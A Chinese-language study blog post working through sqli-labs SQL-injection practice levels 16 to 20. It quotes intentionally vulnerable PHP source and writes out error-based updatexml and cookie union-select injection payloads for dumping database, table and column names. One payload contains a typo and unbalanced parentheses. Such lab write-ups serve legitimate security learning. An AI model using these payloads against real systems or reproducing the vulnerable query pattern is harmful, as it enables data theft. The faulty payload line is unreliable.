Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)
布尔型注入,跟less-15差不多,只需要把'
换成')
今天发现另一个新方式,只需要在Google的hackbar操作,比较简单
新方法来自wkend的博客:sqli-labs练习(十五、十六)
Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)
这个UpdateXML(‘xml_target’,‘xpath_expr’,‘new_xml’)是个新东西
要看一下源码
$uname = check_input($_POST['uname']);
$passwd = $_POST['passwd'];
@$sql = "SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
$row1 = $row['username'];
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
if (mysql_error())
print_r(mysql_error());
echo '<img src="../images/flag1.jpg"/>';
}
else
echo '<img src="../images/slap1.jpg"/>';
从源码中可以看到:POST接收的uname和passwd后,check_input()
首先对uname查询,若uname存在则用passwd替换password,若不存在则显示slap1.jpg。
mysql_real_escape_string()
还会在\x00, \n, \r, \, ', " and \x1a
这些字符前加入反斜线进行转义,防止注入。
suoyiyishanglai只有先猜测有一个admin,就只要用户名正确,数据库就能返回错误信息,就可以在查询注入里找返回信息。
分别爆破:
- 爆password
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,version(),0x7e),1)--+&Submit
- 爆库payload
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,database(),0x7e),1)--+&Submit
- 爆表
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,select group_concat(table_name)from information_schema.tables where table_achema=database()),0x7e),1)--+&submit=Submit
- 爆列
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','user','first_name','last_name','avatar','last_login','failed_login')),0x7e),1) --+ &submit=Submit
Less-18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)
简单尝试了一下注入,结果都一样,琢磨着和less-17一样。
源码显示但是把passwo也做了check。还涉及了一个HTTP请求头。并且会回显IP。登陆成功后回显uagent,并将uagent、IP、uname插入到security数据库的uagents表的uagent、ip_address、username三个字段中。
所以
不会做
Less-19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)
和less-18一样,注入是refer
所以,也不会做
Less-20 POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)
php源码提到了查询语句查询$cookee,所以就在cookies里面进行注入,页面显示用户名是admin,应该就没错了。
爆库
Cookie: uname=-admin' union select 1,2,database()--+
页面显示password说明爆破成功,之后就和前面一样修改一下playload继续爆就行。
今天两道题没做出来,生气了